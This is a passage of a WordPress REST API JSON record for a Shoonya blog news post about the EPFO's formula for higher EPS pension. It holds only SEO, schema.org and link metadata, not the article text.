6&d=mm&r=g\",\"caption\":\"admin\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"EPFO Releases Formula for Higher EPS Pension -","description":"EPFO has announced the formula of the EPS pension scheme. Know the latest calculation formula and the deadline for choosing a higher pension scheme.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/","og_locale":"en_US","og_type":"article","og_title":"EPFO Releases Formula for Higher EPS Pension -","og_description":"EPFO has announced the formula of the EPS pension scheme. Know the latest calculation formula and the deadline for choosing a higher pension scheme.","og_url":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2023-06-15T06:07:04+00:00","article_modified_time":"2023-06-27T04:07:23+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/06\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"EPFO Releases Formula for Higher EPS Pension","datePublished":"2023-06-15T06:07:04+00:00","dateModified":"2023-06-27T04:07:23+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/"},"wordCount":685,"image":{"@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/06\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg","keywords":["epfo pension scheme","eps pension","formula of pension","news pension","pension scheme news","what is eps pension"],"articleSection":["News"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/","url":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/","name":"EPFO Releases Formula for Higher EPS Pension -","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/06\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg","datePublished":"2023-06-15T06:07:04+00:00","dateModified":"2023-06-27T04:07:23+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"EPFO has announced the formula of the EPS pension scheme. Know the latest calculation formula and the deadline for choosing a higher pension scheme.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/06\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/06\/EPFO-Releases-Formula-for-Higher-EPS-Pension.jpg","width":1920,"height":1080,"caption":"EPFO Releases Formula for Higher EPS Pension"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/epfo-releases-formula-for-higher-eps-pension\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"News","item":"https:\/\/shoonya.com\/blog\/latest-news\/"},{"@type":"ListItem","position":3,"name":"EPFO Releases Formula for Higher EPS Pension"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/4239","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=4239"}],"version-history":[{"count":6,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/4239\/revisions"}],"predecessor-version":[{"id":4519,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/4239\/revisions\/4519"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/4240"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=4239"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=4239"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=4239"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}